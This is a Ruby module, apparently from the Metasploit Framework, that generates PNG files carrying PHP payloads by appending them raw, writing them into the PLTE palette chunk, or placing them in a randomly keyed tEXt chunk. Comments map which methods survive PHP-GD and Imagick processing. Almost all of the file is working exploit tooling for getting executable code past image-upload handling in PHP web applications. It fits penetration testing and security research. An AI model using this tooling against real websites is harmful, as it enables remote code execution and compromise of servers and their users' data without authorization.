# -*- coding: binary -*-

require 'chunky_png'

# This mixin module provides methods to inject persistent PHP payloads into a PNG file.
# It is based on the article of Quentin Roland from SynActiv.
# https://www.synacktiv.com/en/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html
# The mixin depends on the GEM library ChunkyPNG that provides the basic PNG image processing functionality.
#
# There are five methods of code injection described in the article:
# 1: Inject PHP payload into the PNG comment field
# 2: Inject PHP payload at the end of the PNG file, the so called raw insertion
# 3: Inject PHP payload in the PLTE chunk of the PNG file
# 4: Inject PHP payload in the IDAT chunk of the PNG file
# 5: Inject PHP payload in a random tEXT chunk of the PNG file
#
# Method 1 and 2 will not survive any image compression configured and applied by a PHP web application
# Method 3 will survive image compression, but no image resizing configured and applied by a PHP web application
# Method 4 will survive all compression and resizing but payload is fixed and restricted.
# Method 5 will survive Imagick resizing
#
# In the module below, we will offer only three (3) methods e.g, Raw, PLTE and tEXt for which we will combine method 1 and 5
# TODO: IDAT chunk payload injection has most potential but is not flexible and is fixed for payloads that can be injected.
#
#                     No processing   PHP-GD compression      PHP-GD resizing         Imagick resizing
# Raw insertion        ✅                    ❌                  ❌                     ❌
# PLTE chunk           ✅                    ✅                  ❌                     ❌
# TODO: IDAT chunk     ✅                    ✅                  ✅                     ✅
# tEXt chunk           ✅                    ❌                  ❌                     ✅
module Msf::Exploit::Format::PhpPayloadPng
  # @param payload [String] Payload to be inserted into the generated PNG.
  # @param injection_method [String] A string accepting only standard values 'RAW', 'PLTE', or 'TEXT'. Defaults to 'PLTE'.
  # @return [String, nil] PNG binary string if injection is successful, otherwise nil if there was an error.
  def inject_php_payload_png(payload, injection_method: 'PLTE')
    if payload.empty?
      print_error('PNG payload creation failed. No PHP payload provided.')
      return nil
    end

    # Execute provided injection method
    case injection_method
    when 'RAW'
      # Inject payload at the end of PNG (raw code injection)

      # Use an image size of 1 pixel by 1 pixel to
      # create the smallest possible PNG image.
      image_width = 1
      image_height = 1
      png = ChunkyPNG::Image.new(image_width, image_height, ChunkyPNG::Color::BLACK)

      # add payload at the end of PNG
      png_malicious = png.to_s + payload.to_s
      return png_malicious

    when 'PLTE'
      # Inject payload in the PLTE chunk, which holds 1 to 256 palette entries as noted
      # at http://www.libpng.org/pub/png/spec/1.2/PNG-Chunks.html. Each
      # entry will be a 3 byte long number of the form:
      #    Red:   1 byte (0 = black, 255 = red)
      #    Green: 1 byte (0 = black, 255 = green)
      #    Blue:  1 byte (0 = black, 255 = blue)

      # payload should have a length with modulo of 3 to fit the 3 bytes RGB palette.
      # Section 4.1.2 PLTE Palette of http://www.libpng.org/pub/png/spec/1.2/PNG-Chunks.html
      # notes that PLTE chunks that are not divisible by 3 are considered a violation
      # of the PNG protocol.
      payload += ' ' while (payload.length % 3) != 0
      # check if payload is not bigger then 768 (3x256) bytes to fit in the PLTE chunk
      if payload.length > 768
        print_error("PNG payload creation failed. Padded payload size (#{payload.length}) is larger than 768 bytes.")
        return nil
      end

      # create base PNG with a right sized PLTE chunk to store the payload
      image_width = payload.length / 3
      image_height = payload.length / 3
      png = ChunkyPNG::Image.new(image_width, image_height, ChunkyPNG::Color::BLACK)

      # create palette entries (max. 256) to host the payload
      (0..((payload.length / 3) - 1)).each do |i|
        png[i, 1] = ChunkyPNG::Color.rgb(i, 1, 1)
      end

      # cycle thru the chunks, find the PLTE chunk and write the payload
      png_malicious = ChunkyPNG::Datastream.from_blob(png.to_blob)
      png_malicious.each_chunk do |chunk|
        if chunk.type == 'PLTE'
          chunk.content = payload.to_s
          break
        end
      end
      return png_malicious.to_s

    when 'TEXT'
      # Inject payload in a new tEXt chunk generated with a random keyword
      # tEXt chunks are used to store textual data that the recorder
      # wishes to record within the image as noted at http://www.libpng.org/pub/png/spec/1.2/PNG-Chunks.html
      # section 4.3.2.1 tEXt Textual data

      # Use an image size of 1 pixel by 1 pixel to
      # create the smallest possible PNG image.
      image_width = 1
      image_height = 1
      png = ChunkyPNG::Image.new(image_width, image_height, ChunkyPNG::Color::BLACK)
      # store payload in a tEXt chunk with a randomized keyword
      random_keyword = Rex::Text.rand_text_alpha(4..16)
      png.metadata[random_keyword] = payload.to_s
      return png.to_s

    else
      print_error("PNG payload creation failed. No valid injection method #{injection_method} provided [RAW, PLTE, TEXT].")
      return nil
    end
  end
end
